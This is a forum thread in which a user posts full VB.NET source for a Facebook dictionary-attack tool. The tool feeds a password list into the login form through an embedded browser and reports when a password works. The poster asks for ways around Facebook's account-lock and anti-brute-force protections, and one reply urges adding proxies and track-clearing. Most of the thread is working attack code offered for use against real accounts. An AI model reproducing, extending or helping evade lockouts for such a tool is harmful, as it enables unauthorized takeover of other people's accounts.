Thread: [Facebook Dictionary Attack Tool Code - VB.NET](#)

iRuSTech - September 23, 2015, 3:13 pm

Hello guys ???

So simply this is a code of a program that attack to facebook with dictionary attack method.

I want your help to create a code that bypass (Facebook Account Lock Security), (Anti-BruteForce Security) etc. ??

If someone know how to bypass this or what security they use or any trike that can help. This will help a lot. ?

```
( Items : 1listbox 1webbrowser 3buttons 3textboxes 2label )
Code Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As
WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
    If WebBrowser1.DocumentTitle.Contains("displayed") Or
WebBrowser1.DocumentTitle.Contains("Canceled") Then
        Timer1.Stop()
        MsgBox("Network connection failed." + vbNewLine + "Hack will pause.",
MsgBoxStyle.Critical, "MadnessForCrack Says - Connection Error")
    Else
        Dim fbcheck As String = WebBrowser1.DocumentText

        If fbcheck.Contains("login_form") Then
            If ListBox1.SelectedItem = "" Then
                Else
                    Timer1.Start()
                End If
            Else
                TextBox4.Text = ListBox1.SelectedItem.ToString

                Timer1.Stop()

                Button4.Visible = False

                Me.WindowState = FormWindowState.Normal
                Me.TopMost = True

                Label4.Text = "found"
            End If
        End If
    End Sub

Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles
TextBox1.TextChanged
    If TextBox1.Text.Contains("@gmail.com") Or TextBox1.Text.Contains("@hotmail.") Or
TextBox1.Text.Contains("@outlook.") Or TextBox1.Text.Contains("@yahoo.") Or
TextBox1.Text.Contains("@facebook.com") Or TextBox1.Text.Contains("@freemail.") Or
TextBox1.Text.Contains("@mail.") Then
        If TextBox1.Text.Count >= 10 Then
```

```
        Button3.Enabled = True
        Button1.Enabled = True
    End If
Else
    Button3.Enabled = False
    Button1.Enabled = False
End If
End Sub
```

```
Private Sub TextBox2_TextChanged(sender As Object, e As EventArgs) Handles
TextBox2.TextChanged
    If TextBox2.Text = "" Then
        Button1.Enabled = False
    Else
        Button1.Enabled = True
    End If
End Sub
```

```
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
    Dim alltext As String = "", lineoftext As String = ""
    Dim openlist As New OpenFileDialog
    openlist.Title = "Search - .txt file search"
    openlist.Filter = "Text Document (.txt)|*.txt"
    openlist.ShowDialog()

    Try
        TextBox2.Text = openlist.FileName
    Catch ex As Exception

    End Try
```

```
Dim filenameee As String = TextBox2.Text

If My.Computer.FileSystem.FileExists(filenameee) Then

    TextBox3.Text = My.Computer.FileSystem.ReadAllText(filenameee)

    Dim items()

    items = TextBox3.Lines()

    For Each item In items
        ListBox1.Items.Add(item)
    Next
    ListBox1.Items.Add("Password not found.")
End If
End Sub
```

```
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    Label8.Text = Label8.Text - 1
End Sub
```

```
Private Sub Label8_TextChanged(sender As Object, e As EventArgs) Handles
```

```

Label8.TextChanged
    If Label8.Text = "5" Then
        WebBrowser1.Navigate("http :// www .facebook.com/")

        ListBox1.SelectedIndex = ListBox1.SelectedIndex + 1
    End If

    If Label8.Text <= "0" Then
        WebBrowser1.Document.GetElementById("email").SetAttribute("value", TextBox1.Text)

        WebBrowser1.Document.GetElementById("pass").SetAttribute("value",
ListBox1.SelectedItem.ToString)

        WebBrowser1.Document.GetElementById("loginbutton").InvokeMember("click")

        Label8.Text = "6"

        Timer1.Stop()

    Else

        End If
    End Sub

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    If My.Computer.Network.IsAvailable Then
        Timer1.Start()
        TextBox1.ReadOnly = True
        Button3.Enabled = False
        Button1.Enabled = False
        Button4.Enabled = True
    Else
        Timer1.Stop()
        MsgBox("Network connection failed." + vbNewLine + "Hack will pause.",
MsgBoxStyle.Critical, "MadnessForCrack Says - Connection Error")
    End If
End Sub

Private Sub ListBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles
ListBox1.SelectedIndexChanged
    If ListBox1.SelectedItem = "Password not found." Then
        Timer1.Stop()
        WebBrowser1.Stop()
        Label8.Text = "6"
        Button4.Visible = False
        Me.Show()
        MsgBox("Password not found :/", MsgBoxStyle.Information, "MadnessForCrack Says")
    End If
End Sub

Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
    Timer1.Stop()
    Button1.Enabled = True

```

```
Button4.Enabled = False
End Sub
```

```
Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
[color=#1E90FF]'EXIT Code[/color]
Try
    Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 2")
End
Catch ex As Exception
End
End Try
End Sub
```

```
Private Sub Label4_TextChanged(sender As Object, e As EventArgs) Handles
Label4.TextChanged
    If Label4.Text = "found" Then
        MsgBox("Password found :D", MsgBoxStyle.Information, "MadnessForCrack Says")
    End If
End Sub
LETS GO GUYS ? Greetings from MadnessForCrack Team ?
```

Op, use [/code(remove this)] [/code(remove this)] to make the thread look more nice.

<http://www.catb.org/esr/faqs/smart-questions.html#code> Wrote:When asking about code

Don't ask others to debug your broken code without giving a hint what sort of problem they should be searching for. Posting a few hundred lines of code, saying "it doesn't work", will get you ignored. Posting a dozen lines of code, saying "after line 7 I was expecting to see <x>, but <y> occurred instead" is much more likely to get you a response.

seriously? a wall of code and you do not even say what the problem is?

iRuSTech - September 23, 2015, 3:21 pm

Post Details and Code updated !

Thanks for the help ze-slade !

Also the code works fine and the problem is the security of Facebook nathan72389 ! ~

I'm not sure if a WebBrowser is the most efficient way to do this... ?

Can you suggest other way ?
(WebClient or whatever)

Nice but you should code the proxies and cleaner too.
